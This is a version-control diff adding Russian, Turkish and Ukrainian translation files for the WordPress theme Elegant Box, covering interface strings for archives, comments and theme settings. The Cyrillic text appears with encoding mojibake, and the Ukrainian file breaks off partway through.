+"POT-Creation-Date: 2009-05-06 21:01+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Russian\n" +"X-Poedit-Country: RUSSIAN FEDERATION\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "Ошибка 404 - Ðе найдено" + +#: archive.php:16 +msgid "Search Results" +msgstr "Результаты поиÑка" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Ðрхив категории ‘%1$s’" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "ПоÑты про ‘%1$s’" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "Ðрхив %1$s" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "jS F Y" + +#: archive.php:29 +msgid "F, Y" +msgstr "" + +#: archive.php:32 +msgid "Y" +msgstr "" + +#: archive.php:35 +msgid "Author Archive" +msgstr "Ðрхив автора" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "Ðрхив блога" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s в %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "S F Y, l" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "0 комментариев" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "1 комментарий" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "% comments" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "Редактировать" + +#: archive.php:54 +msgid "Categories: " +msgstr "Категории:" + +#: archive.php:55 +msgid "Tags: " +msgstr "Метки: " + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "ПодходÑщих запиÑей не найдено." + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "« Предыдущие запиÑи" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "Следующие запиÑи »" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "Обновить: " + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "Введите пароль Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ‡Ñ‚ÐµÐ½Ð¸Ñ ÐºÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸ÐµÐ²." + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "Ответить" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "Цитировать" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "Ваш комментарий ожидает модерации." + +#: comments.php:97 +msgid " trackbacks" +msgstr "" + +#: comments.php:100 +msgid "Show" +msgstr "Показать" + +#: comments.php:101 +msgid "Hide" +msgstr "Скрыть" + +#: comments.php:130 +msgid "Comment pages" +msgstr "Страницы комментариев" + +#: comments.php:145 +msgid "No comments yet." +msgstr "Пока комментариев нет." + +#: comments.php:154 +msgid "Comments are closed." +msgstr "Комментарии излишни." + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Ð’Ñ‹ должны авторизоватьÑÑ Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ комментариÑ." + +#: comments.php:188 +msgid "Logged in as" +msgstr "ЗдравÑтвуй, " + +#: comments.php:189 +msgid "Log out of this account" +msgstr "Выйти" + +#: comments.php:189 +msgid "Logout »" +msgstr "Выйти »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "С возвращением, %s." + +#: comments.php:197 +msgid "Change »" +msgstr "Изменить »" + +#: comments.php:198 +msgid "Close »" +msgstr "Закрыть »" + +#: comments.php:205 +msgid "Name" +msgstr "ИмÑ" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(обÑзательно)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "Е-mail (не публикуетÑÑ)" + +#: comments.php:213 +msgid "Website" +msgstr "ВебÑайт" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "ПодпиÑатьÑÑ Ð½Ð° комментарии" + +#: comments.php:238 +msgid "Cancel" +msgstr "Отмена" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "Отправить комментарий" + +#: footer.php:2 +msgid "TOP" +msgstr "Ðаверх" + +#: footer.php:22 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Ðа движке WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Дизайн NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "ÐаÑтройки текущей темы" + +#: functions.php:168 +msgid "Style" +msgstr "Оформление" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "Позволить поÑетителÑм менÑть оформление" + +#: functions.php:175 +msgid "Default style:" +msgstr "Оформление по умолчанию:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "ПожалуйÑта, уÑтановите корректный Ñтиль в папку /styles/" + +#: functions.php:200 +msgid "Search" +msgstr "ПоиÑк" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "ПользовательÑкий поиÑк Google" + +#: functions.php:207 +msgid "CX:" +msgstr "" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Отыщите name=\"cx\" в Search box code из Google Custom Search Engine, и наберите значение value здеÑÑŒ.
    Ðапример: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "Меню" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "Показывать Ñтраницы в меню." + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "Показывать категории в меню." + +#: functions.php:238 +msgid "Notice" +msgstr "Предупреждение" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML вкл" + +#: functions.php:245 +msgid "Show notice." +msgstr "Показывать предупреждение." + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "Показывать иконку в Ñтроке предупреждениÑ." + +#: functions.php:264 +msgid "Showcase" +msgstr "\"Витрина\"" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "Этот текÑÑ‚ будет наверху Ñайдбара." + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "Кому показывать?" + +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "ЗарегиÑтрированные пользователи" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "Комментаторы" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "ПоÑетители" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "Этот текÑÑ‚ будет внизу Ñайдбара." + +#: functions.php:324 +msgid "Posts" +msgstr "" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "Показывать категории в ÑообщениÑÑ…." + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "Показывать метки в ÑообщениÑÑ…." + +#: functions.php:342 +msgid "Comments" +msgstr "" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:356 +msgid "Feed" +msgstr "ПодпиÑка" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "ÐаÑтроить подпиÑку." + +#: functions.php:362 +msgid "Feed URL:" +msgstr "URL подпиÑки:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Предлагать ÑпиÑок RSS-агрегаторов при наведении мыши." + +#: functions.php:375 +msgid "Save Changes" +msgstr "Сохранить изменениÑ" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - вÑе поÑты" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - вÑе комментарии" + +#: header.php:122 +#: header.php:124 +#: header.php:127 +#: header.php:133 +#: header.php:135 +msgid "Type text to search here..." +msgstr "" + +#: header.php:144 +msgid "Home" +msgstr "Домой" + +#: header.php:153 +msgid "Subscribe to this blog..." +msgstr "ПодпиÑатьÑÑ Ð½Ð° блог..." + +#: header.php:153 +msgid "RSS feed" +msgstr "RSS канал" + +#: header.php:156 +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +msgid "Subscribe with " +msgstr "ПодпиÑатьÑÑ " + +#: header.php:156 +msgid "Youdao" +msgstr "" + +#: header.php:157 +msgid "Xian Guo" +msgstr "" + +#: header.php:158 +msgid "Zhua Xia" +msgstr "" + +#: header.php:159 +msgid "Google" +msgstr "" + +#: header.php:160 +msgid "My Yahoo!" +msgstr "" + +#: header.php:161 +msgid "newsgator" +msgstr "" + +#: header.php:162 +msgid "Bloglines" +msgstr "" + +#: header.php:163 +msgid "iNezha" +msgstr "" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | Категории: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr "| Метки: " + +#: index.php:45 +msgid "Read more..." +msgstr "Дальше..." + +#: links.php:18 +msgid "Edit links" +msgstr "Редактировать ÑÑылки" + +#: links.php:24 +msgid "Blogroll" +msgstr "СÑылки" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "Варианты темы: " + +#: sidebar.php:34 +msgid "Switch to " +msgstr "Переключить" + +#: single.php:32 +msgid "Leave a comment" +msgstr "Комментировать" + +#: single.php:34 +msgid "Trackback" +msgstr "Trackback" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/tr_TR.mo Binary file web/wp-content/themes/elegant-box/languages/tr_TR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/tr_TR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/tr_TR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,510 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-09 10:26+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: Ali KARA \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "Hata 404 -İçerik Bulunamadı" + +#: archive.php:16 +msgid "Search Results" +msgstr "Arama Sonuçları" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ kategorisi için içerik arÅŸivleri" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "‘%1$s’ etiketi için içerik arÅŸivleri" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s arÅŸivleri" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "j F Y" + +#: archive.php:29 +msgid "F, Y" +msgstr "F Y" + +#: archive.php:32 +msgid "Y" +msgstr "Y" + +#: archive.php:35 +msgid "Author Archive" +msgstr "Yazar ArÅŸivi" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "Blog ArÅŸivi" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s - %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "j F Y, l" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "H:i" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "Yorum Yok" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "1 Yorum" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "% Yorum" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "Düzenle" + +#: archive.php:54 +msgid "Categories: " +msgstr "Kategoriler:" + +#: archive.php:55 +msgid "Tags: " +msgstr "Etiketler:" + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "Üzgünüm, Aradığınız kriterlere uygun içerik bulunamadı" + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "« Yeni Gönderiler" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "Eski Gönderiler »" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "Güncellenme: " + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "Yorumları görebilmek için giriÅŸ yapmalısınız." + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "Cevapla" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "Alıntı" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "Yorumunuz yönetici onayından sonra yayınlanacaktır." + +#: comments.php:97 +msgid " trackbacks" +msgstr "Geri İzlemeler" + +#: comments.php:100 +msgid "Show" +msgstr "Göster" + +#: comments.php:101 +msgid "Hide" +msgstr "Gizle" + +#: comments.php:130 +msgid "Comment pages" +msgstr "Yorum sayfaları" + +#: comments.php:145 +msgid "No comments yet." +msgstr "Henüz yorum yok." + +#: comments.php:154 +msgid "Comments are closed." +msgstr "Yorumlara Kapalı" + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Yorumları gönderebilmek için giriÅŸ yapmalısınız." + +#: comments.php:188 +msgid "Logged in as" +msgstr "GiriÅŸ yapan:" + +#: comments.php:189 +msgid "Log out of this account" +msgstr "Bu hesaptan çıkış yap" + +#: comments.php:189 +msgid "Logout »" +msgstr "Çıkış »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "HoÅŸgeldiniz %s." + +#: comments.php:197 +msgid "Change »" +msgstr "DeÄŸiÅŸtir »" + +#: comments.php:198 +msgid "Close »" +msgstr "Kapat »" + +#: comments.php:205 +msgid "Name" +msgstr "İsim" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(Gerekli)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (Gizli Kalacak)" + +#: comments.php:213 +msgid "Website" +msgstr "Web Site" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "Yorumlara Abone Ol" + +#: comments.php:238 +msgid "Cancel" +msgstr "İptal" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "Yorum Gönder" + +#: footer.php:2 +msgid "TOP" +msgstr "YUKARI" + +#: footer.php:22 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Powered by WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Theme by NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "Tema Seçenekleri" + +#: functions.php:168 +msgid "Style" +msgstr "Style" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "Ziyaretçilerin tema deÄŸiÅŸtirmesine izin ver." + +#: functions.php:175 +msgid "Default style:" +msgstr "Varsayılan Stil:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "Lütfen / styles / klasörüne geçerli bir style dosyası yükleyin." + +#: functions.php:200 +msgid "Search" +msgstr "Ara" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "Google Özel Arama Motoru kullanma." + +#: functions.php:207 +msgid "CX:" +msgstr "CX:" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "name=\"cx\" Google özel arama, anahtar değeri buraya.
    Örnek : 014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "Menü" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "Sayfaları menü olarak göster." + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "Kategorileri menu olarak göster." + +#: functions.php:238 +msgid "Notice" +msgstr "Uyarılar" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML etkin" + +#: functions.php:245 +msgid "Show notice." +msgstr "Uyarıları göster." + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "Bildirim çubuÄŸunda uyarı simgesini göster." + +#: functions.php:264 +msgid "Showcase" +msgstr "Vitrin (Showcase)" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "Bu vitrin, sidebarın üzerinde görüntülenir." + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "Kimler görebilir?" + +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "Kayıtlı Kullanıcılar" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "Yorum yapanlar" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "Ziyaretçiler" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "Bu vitrin, sidebarın altında görüntülenir." + +#: functions.php:324 +msgid "Posts" +msgstr "" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "Yazılarda kategorileri göster." + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "Yazılarda etiketleri göster." + +#: functions.php:342 +msgid "Comments" +msgstr "" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:356 +msgid "Feed" +msgstr "Feed" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "Özel yayın kullanma." + +#: functions.php:362 +msgid "Feed URL:" +msgstr "Feed URL:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Fare besleme butonunun üzerindeyken okuyucuları (feed reader) göster." + +#: functions.php:375 +msgid "Save Changes" +msgstr "DeÄŸiÅŸiklikleri Kaydet" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - Bütün Gönderiler" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - Bütün Yorumlar" + +#: header.php:122 +msgid "Type text to search here..." +msgstr "" + +#: header.php:145 +msgid "Home" +msgstr "Anasayfa" + +#: header.php:154 +msgid "Subscribe to this blog..." +msgstr "Bu blogdaki beslemeler..." + +#: header.php:154 +msgid "RSS feed" +msgstr "RSS feed" + +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +#: header.php:164 +msgid "Subscribe with " +msgstr "Abonieren" + +#: header.php:157 +msgid "Youdao" +msgstr "Youdao" + +#: header.php:158 +msgid "Xian Guo" +msgstr "Youdao" + +#: header.php:159 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: header.php:160 +msgid "Google" +msgstr "Google" + +#: header.php:161 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: header.php:162 +msgid "newsgator" +msgstr "newsgator" + +#: header.php:163 +msgid "Bloglines" +msgstr "Bloglines" + +#: header.php:164 +msgid "iNezha" +msgstr "iNezha" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | Kategoriler: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr " | Etiketler: " + +#: index.php:45 +msgid "Read more..." +msgstr "Devamını oku..." + +#: links.php:18 +msgid "Edit links" +msgstr "BaÄŸlantıları düzenle" + +#: links.php:24 +msgid "Blogroll" +msgstr "Blogroll" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "Temalar : " + +#: sidebar.php:34 +msgid "Switch to " +msgstr "GeçiÅŸ yapmak için" + +#: single.php:32 +msgid "Leave a comment" +msgstr "Bir Yorum Yap" + +#: single.php:34 +msgid "Trackback" +msgstr "Geri İzlemeler" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/uk.mo Binary file web/wp-content/themes/elegant-box/languages/uk.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/uk.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/uk.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,514 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-06 21:02+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: Paconine.com.ua \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Ukrainian\n" +"X-Poedit-Country: UKRAINE\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "Error 404 - Ðе знайдено" + +#: archive.php:16 +msgid "Search Results" +msgstr "Результати пошуку" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Ðрхів Ð´Ð»Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ñ–Ñ— ‘%1$s’" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Публікації із теґом ‘%1$s’" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "Ðрхів за %1$s" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:29 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:32 +msgid "Y" +msgstr "Y" + +#: archive.php:35 +msgid "Author Archive" +msgstr "Ðрхів автора" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "Ðрхіви блоґу" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s at %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "l, F jS, Y" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "H:i" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "0 коментарів" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "1 коментар" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "% коментарів" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "Редагувати" + +#: archive.php:54 +msgid "Categories: " +msgstr "Категорії:" + +#: archive.php:55 +msgid "Tags: " +msgstr "Теґи:" + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "Вибачте, нічого не знайдено." + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "« Свіжі запиÑи" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "Старі запиÑи »" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "Опубліковано:" + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "Введіть пароль Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду коментарів." + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "ВідповіÑти" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "Цитата" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "Ваш коментар очікує модерації." + +#: comments.php:97 +msgid " trackbacks" +msgstr "трекбеки" + +#: comments.php:100 +msgid "Show" +msgstr "Показати" + +#: comments.php:101 +msgid "Hide" +msgstr "Приховати" + +#: comments.php:130 +msgid "Comment pages" +msgstr "Сторінки коментарів" + +#: comments.php:145 +msgid "No comments yet." +msgstr "Ще немає коментарів." + +#: comments.php:154 +msgid "Comments are closed." +msgstr "Коментувати заборонено." + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Вам необхідно залогуватиÑÑ Ð´Ð»Ñ ÐºÐ¾Ð¼ÐµÐ½Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ." + +#: comments.php:188 +msgid "Logged in as" +msgstr "Ви увійшли Ñк" + +#: comments.php:189 +msgid "Log out of this account" +msgstr "Вийти" + +#: comments.php:189 +msgid "Logout »" +msgstr "Вийти »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "З поверненнÑм %s." + +#: comments.php:197 +msgid "Change »" +msgstr "Змінити »" + +#: comments.php:198 +msgid "Close »" +msgstr "Закрити »" + +#: comments.php:205 +msgid "Name" +msgstr "Ім'Ñ" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(обов'Ñзково)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (не публікуєтьÑÑ)" + +#: comments.php:213 +msgid "Website" +msgstr "Сайт / Блоґ" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "ПідпиÑатиÑÑ Ð½Ð° коментарі" + +#: comments.php:238 +msgid "Cancel" +msgstr "СкаÑувати" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "ÐадіÑлати коментар" + +#: footer.php:2 +msgid "TOP" +msgstr "Вгору" + +#: footer.php:22 +msgid "Copyright © " +msgstr "© " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Базовано на WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Тема від NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‚ÐµÐ¼Ð¸" + +#: functions.php:168 +msgid "Style" +msgstr "Стиль" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "Дозволити відвідувачам змінювати Ñтиль." + +#: functions.php:175 +msgid "Default style:" +msgstr "Стандартний Ñтиль:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "Будь лаÑка, вÑтановіть коректний Ñтиль у теку /styles/." + +#: functions.php:200 +msgid "Search" +msgstr "Пошук" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "ВикориÑтовувати кориÑтувацький пошук Google." + +#: functions.php:207 +msgid "CX:" +msgstr "CX:" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Знайдіть name=\"cx\"у Search box code Google Custom Search Engine,та вÑтавте value тут.
    Ð”Ð»Ñ Ð¿Ñ€Ð¸ÐºÐ»Ð°Ð´Ñƒ: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "Менюбар" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "Показувати Ñторінки в меню." + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "Показувати категорії в меню." + +#: functions.php:238 +msgid "Notice" +msgstr "Ðотатка" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML дозволено" + +#: functions.php:245 +msgid "Show notice." +msgstr "Показати нотатку." + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "Показувати іконку у колонці нотатки." + +#: functions.php:264 +msgid "Showcase" +msgstr "Колонка" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "Ð¦Ñ ÐºÐ¾Ð»Ð¾Ð½ÐºÐ° відображатиметьÑÑ Ð·Ð²ÐµÑ€Ñ…Ñƒ Ñайдбару." + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "Хто бачитиме?" 